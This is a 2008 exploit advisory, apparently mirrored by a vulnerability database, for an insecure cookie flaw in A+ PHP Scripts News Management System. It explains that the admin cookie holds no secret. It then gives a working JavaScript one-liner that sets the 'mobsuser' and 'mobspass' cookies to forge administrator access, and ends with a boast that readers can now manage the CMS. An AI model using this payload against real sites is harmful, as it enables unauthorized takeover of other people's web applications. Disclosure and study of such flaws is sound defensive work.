A+ PHP Scripts NMS Insecure Cookie Handling Vulnerability

🗓️ 28 Jun 2008 00:00:00Reported by RootType

A+ PHP Scripts NMS Insecure Cookie Handling Vulnerability. Insecure cookie created upon admin login, allowing crafting of admin cookie to gain unauthorized access to admin area. Exploitable with crafted JavaScript exploit


                                                &nbsp;&nbsp;####################################################################################################
&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;&nbsp;#&nbsp;&nbsp;...:::::A+&nbsp;PHP&nbsp;Scripts&nbsp;-&nbsp;News&nbsp;Management&nbsp;System&nbsp;Insecure&nbsp;Cookie&nbsp;Handling&nbsp;Vulnerability&nbsp;::::....&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;###################################################################################################

Virangar&nbsp;Security&nbsp;Team

www.virangar.net
www.virangar.ir

--------
Discoverd&nbsp;By&nbsp;:virangar&nbsp;security&nbsp;team(hadihadi)

special&nbsp;tnx&nbsp;to:MR.nosrati,black.shadowes,MR.hesy,Zahra

&amp;&nbsp;all&nbsp;virangar&nbsp;members&nbsp;&amp;&nbsp;all&nbsp;hackerz

greetz:to&nbsp;my&nbsp;best&nbsp;friend&nbsp;in&nbsp;the&nbsp;world&nbsp;hadi_aryaie2004
&amp;&nbsp;my&nbsp;lovely&nbsp;friend&nbsp;arash(imm02tal)
-------
DESCRIPTION:

A+&nbsp;PHP&nbsp;Scripts&nbsp;-&nbsp;News&nbsp;Management&nbsp;System,&nbsp;suffers&nbsp;from&nbsp;insecure&nbsp;cookie&nbsp;handling,&nbsp;when&nbsp;a&nbsp;admin&nbsp;login&nbsp;is&nbsp;successfull&nbsp;the&nbsp;script&nbsp;creates
a&nbsp;cookie&nbsp;to&nbsp;show&nbsp;the&nbsp;rest&nbsp;of&nbsp;the&nbsp;admin&nbsp;area&nbsp;the&nbsp;user&nbsp;is&nbsp;already&nbsp;logged&nbsp;in.&nbsp;the&nbsp;bad&nbsp;thing&nbsp;is&nbsp;the&nbsp;cookie&nbsp;doesnt
contain&nbsp;any&nbsp;password&nbsp;or&nbsp;anything&nbsp;alike,&nbsp;therefor&nbsp;we&nbsp;can&nbsp;craft&nbsp;a&nbsp;admin&nbsp;cookie&nbsp;and&nbsp;make&nbsp;it&nbsp;look&nbsp;like&nbsp;we&nbsp;are
logged&nbsp;in&nbsp;as&nbsp;a&nbsp;legit&nbsp;admin.

---
exploit:
javascript:document.cookie&nbsp;=&nbsp;&quot;mobsuser=1;&nbsp;path=/&quot;;&nbsp;document.cookie&nbsp;=&nbsp;&quot;mobspass=1;&nbsp;path=/&quot;;
-----
now&nbsp;you&nbsp;can&nbsp;get&nbsp;admin&nbsp;access&nbsp;and&nbsp;manage&nbsp;the&nbsp;cms&nbsp;;)
-------
young&nbsp;iranian&nbsp;h4ck3rz

28 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1

a+ php scripts; nms; insecure cookie; admin login; unauthorized access; crafted javascript exploit; vulnerability; cookie handling; exploit